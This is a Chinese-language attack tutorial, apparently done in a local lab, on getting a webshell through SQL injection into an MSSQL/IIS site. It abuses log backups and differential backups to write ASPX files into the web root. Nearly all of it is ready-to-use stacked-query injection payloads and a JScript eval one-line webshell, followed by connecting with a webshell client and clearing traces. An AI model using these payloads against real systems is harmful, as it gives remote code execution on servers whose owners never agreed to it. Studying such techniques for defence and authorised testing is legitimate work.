前言
注入点:http://192.168.159.137/post.aspx
首先我配置了一下权限:(添加了一个新用户 saul
,映射了 test
数据库,只有 db_owner
,public
权限)
加了一个单引号报错得到网站绝对路径:c:\inetpub\wwwroot\post.aspx
LOG备份
的要求是他的数据库备份过
,而且选择恢复模式得是完整模式
,至少在2008
上是这样的,但是使用log备份文件会小的多
,当然如果你的权限够高可以设置他的恢复模式。
具体如何备份Mssql
数据库参考这篇文章:https://www.cnblogs.com/huangtaiyu/p/5560980.html
;alter database test set RECOVERY FULL--
;create table cmd (a image)--
;backup log test to disk = 'c:/1.bak' with init--
;insert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--
;backup log test to disk = 'c:\inetpub\wwwroot\saul.aspx'--
;drop table cmd--
admin' ;alter database test set RECOVERY FULL --
admin ';create table cmd (a image) --
admin' ;backup log test to disk = 'c:/1.bak' with init --
admin';insert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--
admin ';backup log test to disk = 'c:\inetpub\wwwroot\saul.aspx' --
这个时候我们就得到了一个webshell
:http://192.168.159.137/saul.aspx
写入成功记得擦屁股吧创建的表删了:
admin';drop table cmd--
最后用蚁剑连接:
成功 Getshell
!
差异备份
数据库得到webshell。在sql server
里dbo
和sa
权限都有备份数据库权限,我们可以把数据库备份成aspx
文件,这样我们就可以通过mssqlserver
的备份数据库功能生成一个网页小马。
PS:差异备份有几率会导致网站挂掉!如果上面的LOG备份
拿shell成功的话就尽量别用差异备份拿shell这种方法!具体为啥我也不知道。。。
1. backup database 库名 to disk = 'c:\bak.bak';--
2. create table [dbo].[test] ([cmd] [image]);--
3. insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--
4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
admin';backup database test to disk = 'c:\bak.bak';--
admin';create table [dbo].[test] ([cmd] [image]);--
admin';insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--
admin';backup database test to disk='c:\inetpub\wwwroot\saul1.aspx' WITH DIFFERENTIAL,FORMAT;--
这个时候就得到了webshell
:http://192.168.159.137/saul1.aspx
由上图可见发现是503
,我们上帝视角看看:
确实是写入成功的!就是内存有点大!是因为我们访问的日志过多导致的!我们重启一下服务器。。。
成功Getshell
!